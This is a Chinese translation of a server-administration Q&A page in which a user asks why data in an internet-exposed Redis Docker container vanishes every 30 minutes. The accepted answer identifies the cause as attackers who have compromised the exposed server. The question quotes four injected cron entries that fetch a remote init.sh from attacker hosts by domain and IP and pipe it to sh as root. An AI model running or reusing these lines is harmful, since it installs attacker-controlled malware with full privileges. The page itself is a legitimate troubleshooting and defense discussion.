AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / server / 问题 / 1169883
Accepted
imin
imin
Asked: 2025-01-08 14:46:46 +0800 CST2025-01-08 14:46:46 +0800 CST 2025-01-08 14:46:46 +0800 CST

docker中运行的redis中的数据每30分钟被删除一次

  • 772

我在docker中运行Redis,使用以下命令启动:

docker run -d --restart except-stopped -p 6379:6379 redis/redis-stack-server:latest

但是redis里面的所有数据包括索引每30分钟就会被删除一次,不知道为什么会这样。

可能是因为我运行docker的VPS资源非常有限吗?

VPS 规格为 1 核 CPU、1 GB RAM 和交换以及 20 GB 存储空间。操作系统是 Ubuntu 22.04。VPS 提供商是 RackNerd。我在 OVH 上具有相同规格的 VPS 上运行了相同的 docker-redis,没有任何问题。

我在 docker 上运行 Redis 是因为我想使用 Redisearch 功能。

每隔几个小时,名为backup1 backup2 backup3 backup4的键就会出现在 redis 中。以下是每个键的值:

backup1 : */2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh

这是docker日志:

root@racknerd-d76c238:~# docker logs b4bb752bcda8
8:C 08 Jan 2025 04:51:49.757 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
8:C 08 Jan 2025 04:51:49.759 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
8:C 08 Jan 2025 04:51:49.759 * Redis version=7.4.1, bits=64, commit=00000000, modified=0, pid=8, just started
8:C 08 Jan 2025 04:51:49.759 * Configuration loaded
8:M 08 Jan 2025 04:51:49.761 * Increased maximum number of open files to 10032 (it was originally set to 1024).
8:M 08 Jan 2025 04:51:49.761 * monotonic clock: POSIX clock_gettime
8:M 08 Jan 2025 04:51:49.766 * Running mode=standalone, port=6379.
8:M 08 Jan 2025 04:51:49.768 * Module 'RedisCompat' loaded from /opt/redis-stack/lib/rediscompat.so
8:M 08 Jan 2025 04:51:49.790 * <search> Redis version found by RedisSearch : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.790 * <search> RediSearch version 2.10.5 (Git=2.10-e2f2                                                                    8a9)
8:M 08 Jan 2025 04:51:49.791 * <search> Low level api version 1 initialized successfully
8:M 08 Jan 2025 04:51:49.791 * <search> gc: ON, prefix min length: 2, min word length to stem: 4, prefix max expansions: 200, query timeout (ms): 500, timeout policy: return, cursor read size: 1000, cursor max idle (ms): 300000, max doctable size: 1000000, max number of search results:  10000,
8:M 08 Jan 2025 04:51:49.791 * <search> Initialized thread pools!
8:M 08 Jan 2025 04:51:49.793 * <search> Enabled role change notification
8:M 08 Jan 2025 04:51:49.793 * Module 'search' loaded from /opt/redis-stack/lib/redisearch.so
8:M 08 Jan 2025 04:51:49.804 * <timeseries> RedisTimeSeries version 11202, git_sha=5643fd4d6fcb1e9cf084fb2deb9285b08f4a6672
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Redis version found by RedisTimeSeries : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default CHUNK_SIZE_BYTES policy: 4096
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded server DUPLICATE_POLICY: block
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_TIME_DIFF:0
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_VAL_DIFF:0.000000
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Setting default series ENCODING to:compressed
8:M 08 Jan 2025 04:51:49.806 * <timeseries> Detected redis oss
8:M 08 Jan 2025 04:51:49.806 * Module 'timeseries' loaded from /opt/redis-stack/lib/redistimeseries.so
8:M 08 Jan 2025 04:51:49.816 * <ReJSON> Created new data type 'ReJSON-RL'
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> version: 20803 git sha: unknown branch:unknown
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V1 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V2 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V3 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V4 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.819 * <ReJSON> Enabled diskless replication
8:M 08 Jan 2025 04:51:49.819 * Module 'ReJSON' loaded from /opt/redis-stack/lib/rejson.so
8:M 08 Jan 2025 04:51:49.819 * <search> Acquired RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.822 * <bf> RedisBloom version 2.8.2 (Git=unknown)
8:M 08 Jan 2025 04:51:49.823 * Module 'bf' loaded from /opt/redis-stack/lib/redi                                                                    sbloom.so
8:M 08 Jan 2025 04:51:49.832 * <redisgears_2> Created new data type 'GearsType'
8:M 08 Jan 2025 04:51:49.835 * <redisgears_2> Detected redis oss
8:M 08 Jan 2025 04:51:49.838 # <redisgears_2> could not initialize RedisAI_InitError    
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> Failed loading RedisAI API.
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> RedisGears v2.0.20, sha='9b737886bf825fe29ddc2f8da81f73cbe0b4e858', build_type='release', built_for='Linux-ubuntu2                                                                    2.04.x86_64', redis_version:'7.4.1', enterprise:'false'.
8:M 08 Jan 2025 04:51:49.881 * <redisgears_2> Registered backend: js.
8:M 08 Jan 2025 04:51:49.890 * Module 'redisgears_2' loaded from /opt/redis-stack/lib/redisgears.so
8:M 08 Jan 2025 04:51:49.891 * Server initialized
8:M 08 Jan 2025 04:51:49.892 * Ready to accept connections tcp
8:M 08 Jan 2025 05:04:19.697 * DB saved on disk
8:M 08 Jan 2025 05:04:20.167 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:20.172 * DB saved on disk
8:M 08 Jan 2025 05:04:21.850 * DB saved on disk
8:M 08 Jan 2025 05:04:22.318 * DB saved on disk
8:M 08 Jan 2025 05:04:22.565 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:22.568 * DB saved on disk
8:M 08 Jan 2025 05:04:24.255 * DB saved on disk
8:M 08 Jan 2025 05:04:24.965 * DB saved on disk
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 05:46:37.355 * DB saved on disk
8:M 08 Jan 2025 05:46:37.746 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:37.750 * DB saved on disk
8:M 08 Jan 2025 05:46:39.517 * DB saved on disk
8:M 08 Jan 2025 05:46:39.910 * DB saved on disk
8:M 08 Jan 2025 05:46:40.104 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:40.107 * DB saved on disk
8:M 08 Jan 2025 05:46:41.466 * DB saved on disk
8:M 08 Jan 2025 05:46:42.050 * DB saved on disk
8:M 08 Jan 2025 06:21:30.817 * <module> Scanning index idx:business in background
8:M 08 Jan 2025 06:21:30.822 * <module> Scanning index idx:business in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.823 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 06:21:30.825 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.826 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 06:21:30.827 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.828 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 06:21:30.831 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 06:46:43.095 * 1 changes in 3600 seconds. Saving...
8:M 08 Jan 2025 06:46:43.105 * Background saving started by pid 29
29:C 08 Jan 2025 06:46:43.123 * DB saved on disk
29:C 08 Jan 2025 06:46:43.124 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
8:M 08 Jan 2025 06:46:43.207 * Background saving terminated with success
security
  • 1 1 个回答
  • 93 Views

1 个回答

  • Voted
  1. Best Answer
    vidarlo
    2025-01-08T17:49:05+08:002025-01-08T17:49:05+08:00

    恭喜你,你把 redis 暴露在互联网上,有人已经对它进行攻击了。

    它不再是您的数据库服务器;有人正在将其用于自己的目的。您必须通过配置强身份验证或防火墙来保护它,使其无法通过 Internet 访问。

    • 2

相关问题

  • OpenSSH 漏洞 [重复]

  • 选择什么安全套件?

  • 安全地授予对 SQL 2005 复制监视器的访问权限以创建快照

  • SSH 服务器零日漏洞利用 - 保护自己的建议

  • 如何将安全组添加到正在运行的 EC2 实例?

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    新安装后 postgres 的默认超级用户用户名/密码是什么?

    • 5 个回答
  • Marko Smith

    SFTP 使用什么端口?

    • 6 个回答
  • Marko Smith

    命令行列出 Windows Active Directory 组中的用户?

    • 9 个回答
  • Marko Smith

    什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同?

    • 3 个回答
  • Marko Smith

    如何确定bash变量是否为空?

    • 15 个回答
  • Martin Hope
    Tom Feiner 如何按大小对 du -h 输出进行排序 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    Noah Goodrich 什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent 如何确定bash变量是否为空? 2009-05-13 09:54:48 +0800 CST
  • Martin Hope
    cletus 您如何找到在 Windows 中打开文件的进程? 2009-05-01 16:47:16 +0800 CST

热门标签

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve